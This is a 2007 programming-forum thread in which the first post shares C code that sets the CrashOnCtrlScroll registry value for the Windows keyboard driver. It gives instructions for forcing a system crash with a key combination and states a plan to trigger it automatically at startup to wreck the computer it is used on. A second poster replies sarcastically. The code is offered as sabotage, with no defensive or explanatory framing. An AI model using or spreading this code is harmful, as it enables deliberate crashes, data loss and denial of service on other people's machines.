Adblock breaks this site

Crash Windows 2000 or Higher

Discussion in 'Programming General' started by Govind, Sep 21, 2007.

  1. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Crash Windows 2000 or Higher

    Code:
    #include <windows.h>
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
         HKEY KeyHandle;
        DWORD Data = 1;
        RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters",&KeyHandle);
        RegSetValueEx(KeyHandle,"CrashOnCtrlScroll",NULL,REG_DWORD,(BYTE*)&Data,sizeof(DWORD));
        RegCloseKey(KeyHandle);
        return 0;
    }
    Run it, restart, then hold down the right (RIGHT, NOT LEFT) Ctrl button and tap Scroll Lock twice ;)
    I'll make an app to automatically press those keys on startup as to totally fuck up the comp this is used on.

    Note: You NEED administrator access, or at least the ability to write to the HKEY_LOCAL_MACHINE registry. Otherwise this won't work.
     
  2. WoW Sucks

    WoW Sucks Global Moderator
    Banned

    Joined:
    Jan 21, 2007
    Posts:
    3,708
    Referrals:
    3
    Sythe Gold:
    0
    Crash Windows 2000 or Higher

    Yes...this will be extremely helpful.... :p
     
< Converting an integer to a constant? | Ideas >


 
 
Adblock breaks this site